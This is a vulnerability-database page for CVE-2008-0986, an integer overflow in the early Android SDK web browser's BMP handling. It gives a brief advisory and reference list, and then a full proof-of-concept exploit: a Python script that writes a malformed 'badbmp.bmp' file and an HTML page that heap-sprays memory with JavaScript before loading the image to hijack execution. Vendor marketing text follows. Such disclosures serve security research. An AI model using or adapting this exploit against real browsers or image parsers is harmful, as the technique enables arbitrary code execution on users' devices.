Google Android Web Browser - '.BMP' File Integer Overflow
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2008-0986 | 4 Mar 200800:00 | – | circl |
 | Multiple vulnerabilities in Google's Android SDK | 4 Mar 200800:00 | – | coresecurity |
 | CVE-2008-0986 | 6 Mar 200800:00 | – | cve |
 | CVE-2008-0986 | 6 Mar 200800:00 | – | cvelist |
 | EUVD-2008-0993 | 6 Mar 200800:00 | – | euvd |
 | CVE-2008-0986 | 6 Mar 200800:44 | – | nvd |
 | Core Security Technologies Advisory 2008.0124 | 4 Mar 200800:00 | – | packetstorm |
 | Integer overflow | 6 Mar 200800:44 | – | prion |
 | CORE-2008-0124: Multiple vulnerabilities in Google's Android SDK | 5 Mar 200800:00 | – | securityvulns |
| Google Android SDK multiple security vulnerabilities | 5 Mar 200800:00 | – | securityvulns |
10
source: https://www.securityfocus.com/bid/28006/info
Android Web Browser is prone to an integer-overflow vulnerability because it fails to adequately handle user-supplied data.
Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.
This issue affects Android SDK m5-rc14 and earlier.
# This script generates a Bitmap file that makes the Android browser
jump to the address at 0xffffff+0x10
# Must be loaded inside a HTML file with a tag like this: <IMG
src=badbmp.bmp>
# Alfredo Ortega - Core Security
import struct
offset = 0xffef0000
width = 0x0bffff
height=8
bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00"
bmp+=struct.pack("<I",offset)
bmp+="\x28\x00\x00\x00"
bmp+=struct.pack("<I",width)
bmp+=struct.pack("<I",height)
bmp+="\x03\x00\x08\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff"
bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41"
bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
open("badbmp.bmp","wb").write(bmp)
The complete exploit page follows:
<HTML>
<HEAD>
</HEAD>
<BODY>
<script type="text/javascript">
// Fill 0x200000 - 0xa00000 with Breakpoints
var nop = unescape("%u0001%uef9f");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<5;i++)
document.write(nop)
// Fill 0xa00000 - 0x1100000 with address 0x00400040
var nop = unescape("%u4000%u4000");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<2;i++)
document.write(nop)
</script>
<IMG src=badbmp.bmp>
</BODY>
</HTML>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Jan 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.04867